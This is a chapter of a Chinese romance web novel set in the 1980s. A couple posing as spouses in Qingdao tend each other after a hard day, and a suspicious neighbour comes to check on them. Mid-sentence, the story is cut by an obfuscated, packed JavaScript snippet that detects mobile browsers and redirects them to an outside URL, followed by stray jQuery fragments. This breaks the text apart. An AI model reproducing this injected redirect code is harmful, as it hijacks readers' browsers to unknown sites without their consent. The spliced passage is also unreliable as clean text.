41. 邻居前来串门
作品:《成了“老式”男友的白月光[八零]》 为了防疫站这事,姚棠月可是跑断了腿。
回来的时候晚饭已经做好了,姚畅、满仓已经在院子里乖乖坐好,陈向川还在厨房里忙碌。
姚棠月累极了,到了家一股劲全部卸下,人就懒散了,走路几乎就是整只脚在地上拖着走,连饭也不想吃了,径直朝一旁的藤椅走去瘫在上面。
动静很大,锅铲抡得桄榔响的陈向川都忍不住回头看了一眼。
菜端上来,陈向川解下围裙后拎了个板凳坐到她身侧,像之前在福田村小院里似的,歪头问她:“今天都跑哪去了?这么累?”
说着将她的腿自然抬到他膝盖上,不轻不重地替她按摩起小腿。
今天起码走了得有三万步,小腿肌肉几乎要拧成一块。陈向川手劲刚刚好,按了几下就爽得姚棠月头皮发麻,情不自禁地仰头,从嗓子里溢出一声满足的喟叹。
“我走了好久~”她又低头看他,一见到他笑盈盈的样子心里就生出委屈来,“咱们得赚钱,我太想念家里那辆自行车了。”
“青岛公交比咱们那多,下次别省这个钱了。”陈向川转头看了眼厨房,见水壶已经噗吐噗吐掀盖了,又起身接了盆水,端到姚棠月身前。
是洗脚盆。姚棠月一下缩了回去。
现在不过五六点,而且满仓和姚畅都在吃饭呢,她在一边泡脚不好吧?
陈向川不知道她这些小心思,直接上手就要给她脱鞋,整得姚棠月有些不好意思,直接起身往饭桌上走,红着脸道:“我还是先吃饭吧。”
没走两步,一只大手拦腰把她截了回来,又将她按回藤椅上。
“你平时又不出门,今天突然走了那么多路,脚上肯定起水泡了。”他利落地脱了她的鞋袜,把她脚摁进盆里又道:“水是兑好的,现在不洗待会就凉了。”
水温是合适的,可如他所言她脚上确实起了水泡,乍一下放进热水里,疼得她当即就想踹,却又抬不起来。
“疼疼疼!”她嚎了几嗓,拿手直往陈向川肩上招呼,“我都招我都招,快住手!”
看她疼得脸都红了,陈向川惊讶之余还是松开攥住她脚踝的双手,低头去看她的脚。
姚棠月说什么也不敢再泡了,可脚已经打湿了又不好穿鞋,只能坐在藤椅上将双脚腾空。
陈向川单膝跪在地上,低头去看她脚底板,蹙眉说道:“还不愿意泡,起了几个水泡呢!快点,洗一洗我给你上药。”
还真是莫名其妙就跪下了啊,姚棠月总算明白当初在小院里的谣言是怎么来的了。
她不愿泡脚,陈向川就小心翼翼单手捧着,又用另一只手一点一点地舀水泼上去。
长大以后还没人这么伺候过她呢,姚棠月心中荡起一股异样的感觉,看向他的目光就更温和了些。
“小唐啊——”门外传来一声女人热情大方的招呼,却在看到两人正在干啥时又戛然而止了。
来人是包子铺那个烫着小卷发的老板娘,手里正端着几个包子。
看她一脸诧异的样子,姚棠月也不怕水烫了赶紧把脚放到盆里,装作无事发生一样笑着打招呼,“孙姐来啦,有啥事吗?”
孙蓉是小巷拐角那家包子铺的老板娘。包子铺在本地开了几十年,上一任老板是她丈夫的爹娘。老两口年纪大了干不动了,就把店铺交给儿子和媳妇了。
前两天她就知道院子里新搬来一家人,白天神出鬼没找不到他们,她也就没来得及串门。
她看这家人外地来的,疯的疯小的小,两口子也不像正经两口子,就怀疑他们拐卖妇女儿童来着。昨晚她要带着丈夫来听墙根,丈夫死活不同意,最后被她硬拽过来。
结果来得正巧,听到两口子在屋里哼哼唧唧又是晃床又是说荤话的,丈夫脸一黑,当即把她拉走了。
她才不信。
那荤话分明是男的说的,晃床声听着也有点快。关键那晃床声这么大,也没听这两口子发出点啥动静,合理吗?
所以今天趁着还没黑透,她带着几个卖剩下的包子过来“突击检查”,谁曾想看到人家小两口院子里洗脚呢。
好家伙!她嫁到老徐家这么多年了,为老徐家接连生了一女一儿,起早贪黑和面做买卖,也没让他徐大强这么伺候过一次啊。
孙蓉脸上的笑顿时僵硬了,走到桌子旁将包子一放,搓搓手不自在地说:“我…这家里剩了几个包子也吃不完,想着你们刚搬来,来串串门。”
包子是萝卜馅的,最外层被汁水浸透的地方灰了一块,其他地方又白又软,看得田满仓直流口水,当即上手抓了一个咬上去。
姚棠月瞪了一眼,陈向川妇唱夫随紧接着斥了一句:“满仓!怎么这么没礼貌?”
田满仓撇着小嘴起身,手里包子也没舍得放下,快步走到孙蓉面前鞠了一躬,礼貌说着:“谢谢阿姨。”
“乖…乖…”孙蓉敷衍了两句又看向小两口。
陈向川从她来到现在都没起身,一直跪在地上,只不过从弯腰给姚棠月洗脚变成挺直上身斥了孩子几句;至于姚棠月,更是屁股都没离开藤椅。
姚棠月见她目不转睛盯着自己看,脸色一红有些尴尬,作势要起身。
陈向川却将她按了回去,嘟囔着:“脚上有水泡呢,老实坐着。”
“……”人家压根没空接待她啊。孙蓉不想自讨没趣,尴尬笑了笑就走了。
回去以后她就让徐大强老老实实给她洗了一次脚,尽管此举害得徐大强父母差点跟她吵翻天。
等她走了,姚棠月更加觉得刚刚简直是在当着外人面秀恩爱,脸上红得能滴出血来。
水没那么烫了,她赶紧指挥陈向川去拿拖鞋,自己随便洗了洗就穿上了。
晚上,小两口躺在床上开始复盘今天的成绩。姚棠月记着陈向川给她洗脚还有挑破水泡又处理伤口的感情,主动关心起他来。
“你今天怎样呢?都做了什么?”
“我啊。”陈向川伸了个懒腰起身靠在床头,“我想去劳务市场看看有没有合适的,可是好工作都限本地人,我也不想白跑一趟,就顺便接了个扛包的活,在码头转了一天。”
他说得轻巧,“转了一天”,可姚棠月心里清楚这活累得很呢。但凡是个好工作,怎么会门槛这么低,来人就能干
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248518|195587||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
呢?
她今天走了几步路就嗷嗷叫,还享受到了陈向川给她洗脚的待遇,陈向川扛包累了一天回家还做饭,只怕眼下累得要散成骨架了。
她心上一动,一骨碌从床上爬起来,神秘兮兮冲他说:“你转过去。”
“?”陈向川不理解但尊重,长腿一屈将身子侧了过去,以为她又要玩什么把戏,带着点疲惫的语气笑呵呵问她:“又要干嘛呀?”
肩上忽然传来轻飘飘的力道,一下一下揉着。
他轻抿双唇低头笑了,抬起一只手覆在她手背上,扭过头说:“不用,我不累。”
“你又不是铁人,怎么会不累?”姚棠月戳穿他的伪装,手下力度更重了些,试图惩罚他。
手劲大了反而舒服了一点,陈向川向后微仰,不再和她客气,心安理得地享受着她的回报。
只是还没享受一会,姚棠月就嫌累了,转而握拳在他背上砸几拳放松放松。
陈向川没觉得疼,反而笑出了声。
姚棠月捶累了,趴在他背上,在他耳边问他:“你笑什么呀?”
陈向川转身,在她唇角轻吻了一下,眼睛亮亮地问她:“你说,我们现在像不像真的夫妻?”
“嘘!”姚棠月如临大敌,赶紧扭头看向窗户底下,伸了根手指头戳戳外面,小声道:“别被人听到啦。”
“她们不会再来了。”陈向川将附近几家的脾气打探了个清楚,大概知道那晚是谁经过了。
“今天包子铺老板娘看到我给你洗脚,应该不会怀疑咱们的关系了。哪有人天天跑去听小夫妻夜生活的,也不嫌害臊。”
“原来那晚是她啊?”姚棠月恍然大悟,联想到陈向川可能在做戏,气得在他背上捶了一拳,“你今天给我洗脚不会就是洗给她看的吧?我还以为你对我真有那么好呢!”
“……”陈向川转身将她搂在怀里,在她鼻头一点,亲昵着道:“你呀!真没良心,我哪里知道她会什么时候来呢?”
姚棠月当然是开玩笑的,听他这么说又笑着在他唇上嘬了一口,搂着他说:“等把暂住证什么的都办好了,咱去换个真的结婚证怎么样?到时候满仓上学可能用得上,咱们总不能拿着假的到处招摇。”
陈向川自然不会反对,有了真的,办起事来名正言顺。
只是,他顿了顿,掐着她腰间软肉问她:“要不要先跟你姐夫写封信?”
唐月不是没有长辈的人,她还有个姐夫。别人结婚都有个三大件什么的,他一分钱不出就这样天天和唐月赖在一张床上,属实有些小人了。
尽管他知道田振华不会反对两人结合,可起码的礼数还是不能省的。
“可以啊。”
两人搬到这里还没给姐夫写过信。家里没人签收,信件按理来说都会退回去,算算日子姐夫应该写了两三封了,都退回去的话一定担心坏了吧?
——
确如姚棠月所料,田振华担心坏了,特意休假回来看。
只是…大开的门窗、长满杂草的院子、空空如也的房屋、生蛆的垃圾桶…
咋了,家里让人打劫了???

